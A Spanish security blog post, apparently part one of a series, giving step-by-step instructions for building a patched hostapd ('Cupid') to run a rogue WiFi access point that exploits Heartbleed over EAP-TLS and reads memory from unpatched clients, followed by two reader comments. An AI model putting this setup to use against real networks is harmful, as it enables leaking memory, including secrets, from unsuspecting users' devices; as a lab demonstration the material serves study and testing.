Explotar Heartbleed en redes WiFi con Cupido (1ª parte)

Buenas de nuevo, ante todo pediros un perdón muy grande por este tiempo AFK (sobre todo a Vicente) pero me ha sido totalmente imposible mantener relación con el mundillo.

Para ir poniéndome al día y engrasando máquinas vamos a dar un repasillo práctico a uno de los fallos más escandalosos que ha habido en mi ausencia: Heartbleed.

Como ya mencionamos en el blog es posible dirigir un ataque hacia redes wifi (EAP TLS)...utilizando CUPIDO.

¿Qué es cupido?

Cupido es el nombre que Luis Grangeia, de SysValue, le dio a sus dos parches que se pueden aplicar a los programas "hostapd" y "wpa_supplicant" en Linux. Estos parches modifican el comportamiento de los programas para explotar el fallo de heartbleed en conexiones TLS que suceden en ciertos tipos de contraseñas protegidas en redes inalámbricas.

Como ya mencionamos, el ataque puede utilizarse de dos formas: atacar directamente a un Punto de Acceso (wpa_supplicant-cupid) o crear una red inalámbrica falsa a la espera de que se conecte un terminal vulnerable (hostapd-cupid).

En esta entrada veremos como aprovechar cupido sumado a nuestro cliente hostapd (attack vector 2).


¿Cómo funciona el ataque?

En palabras de Grangeia: "Básicamente es el mismo ataque que heartbleed, basado en un paquete heartbeat malicioso. Al igual que ocurre en el ataque original, las conexiones regulares TLS sobre TCP, tanto clientes como servidores pueden ser explotados y la memoria  puede ser leída en ambos extremos de la conexión.


La diferencia en este escenario es que la conexión TLS se está haciendo sobre EAP, que es un marco de autenticación / mecanismo utilizado en las redes inalámbricas. También se puede utilizar en otras situaciones, incluidas las redes de cable que utilizan 802.1x Autenticación de red y conexiones punto a punto (peer to peer).

EAP es sólo un marco que se utiliza en varios mecanismos de autenticación. Los que nos son interesantes en este contexto son: EAP-PEAP, EAP-TLS y EAP-TTLS, que son los que utilizan TLS.

Para explotar los clientes vulnerables, utilizaremos hostapd (con el parche de cupido) para configurar una red de tal manera que, cuando el cliente vulnerable intente conectarse y solicitar una conexión TLS, hostapd enviará solicitudes de heartbeat maliciosos, lo que provocará la vulnerabilidad."

Como mejor se ven las cosas es en la práctica

Lo primero que deberemos hacer sera bajarnos los paquetes fuente del hostapd. Para ello crearemos una carpeta que llamaremos heartbleed y descargaremos las fuentes desde http://w1.fi/releases/.
Nos bajaremos hostapd-2.1.tar.gz de paso y también nos bajaremos wpa-supplicant-0.2.1 (lo utilizaremos mas adelante).

También nos descargaremos este archivo y lo alojaremos en la misma carpeta https://github.com/lgrangeia/cupid/archive/master.zip

unzip cupid-master.zip
tar -xf hostapd-2.1.tar.gz
cp cupid-master/patch-hostapd hostap-2.1/
apt-get update && apt-get install firmware-ralink
apt-get install libnl-dev

Ahora parcheamos:


cd /heartbleed/hostap-2.1/
patch -p1 < patch-hostapd

Una vez parcheado procedemos a compilar con make. NO hagáis make install puesto nos lo instalará en el sistema y machacará la versión de hostapd, cosa que no nos interesa puesto que la versión parcheada sólo vale para lo que vale...

cd hostapd
make

El segundo paso sera configurar hostapd para que sea operativo. Para esto crearemos una carpeta que se llamara setup para guardar los certificados necesarios y las configuraciones.

cd /heartbleed
mkdir setup

Pasaremos los archivos de configuración de la carpeta testconfs a la carpeta setup y crearemos los certificados necesarios para la conexión tls:


cp /heartbleed/cupid-master/testconfs/*   /heartbleed/setup/

Luego nos situaremos en la carpeta setup y crearemos un directorio que es donde haremos los certificados:

cd /heartbleed/setup
mkdir certs
cd certs

A continuación crearemos la llave privada del server y será "importante" hacerlo con el hostname para evitar alguna que otra falla estúpida.

openssl genrsa -out "TU_hostnane".key 1024

Crearemos el CSR (Certificate Signing Request)

openssl req -new -key "TU_hostname".key -out "TU_hostname".csr

Creamos el certificado ssl

Para generar el certificado SSL vamos a necesitar tanto la llave privada como el CSR que acabamos de crear.
Para generar el certificado SSL debemos ejecutar el siguiente comando:

openssl x509 -req -days 365 -in server.csr -signkey "TU_hostname".key -out "TU_hostname".crt

Configuraremos heartbleed.conf

Ya estamos en disposición de configurar hostapd, para ello abrimos el archivo test_hostapd.conf (de la carpeta setup) y lo dejamos tal que así:


CAroot.crt es el certificado de mi Autoridad certificadora (prometo un tuto sobre el tema).. mientras tanto podéis echarle un ojo a esto Crear una CA

Copiamos el archivo resultante al directorio de hostapd

cp test_hostapd.conf  /heartbleed/hostapd-2.1/hostapd/ test_hostapd.conf
 
NOTAS INTERESANTES A RECORDAR EN ESTE ATAQUE  
No es necesario establecer plenamente una conexión TLS para realizar el ataque heartbleed. No hay claves reales y los certificados no deben ser intercambiados para tener éxito en el ataque.

Si no olvido nada ya podemos correr nuestro hostap-cupid:

./hostapd test_hostapd.conf 
 
En alguna ocasiones nos puede arrojar el siguiente error:

hostapd: random: Only 15/20 bytes of strong random data available from /dev/random
hostapd: random: Not enough entropy pool available for secure operationshostapd: WPA: Not enough entropy in random pool for secure operations - update keys later when the first station connects 

Lo podemos remediar fácilmente instalando haveget (HArdware  Volatile Entropy Gathering and Expansion), para así asegurar la carga entrópica.

Para seguir con esta prueba de concepto tan solo necesitamos un cliente vulnerable que se autentifique contra nuestro AP.

Para ello voy a utilizar un sistema Centos 6.5 sin parchear...
 
Podemos depurar los fallos de la conexión conectándonos manualmente con wpa_supplicant.

 
Como podemos ver resulta viable este tipo de ataque, aunque otra cosa es la efectividad de este... la mayor parte de la memoria se pone a cero, pero una inspección somera se encuentran cosas interesantes, y desde luego abre otro frente a la seguridad.

Algunas versiones de Android también sen ve afectadas por este fallo.



Fuentes:

Comentarios

  1. ¡qué bien volver a leerte por aquí Manuel!!

    no tienes porque excusarte, qué bastante lío has tenido. Como te he dicho en alguna ocasión en el blog escribimos siempre por devoción, no por obligación, para compartir e intercambiar info..

    un abrazo!

    ResponderEliminar
  2. al correr esta linea que direccion tengo que colocar patch -p1 < patch-hostapd

    ResponderEliminar

Publicar un comentario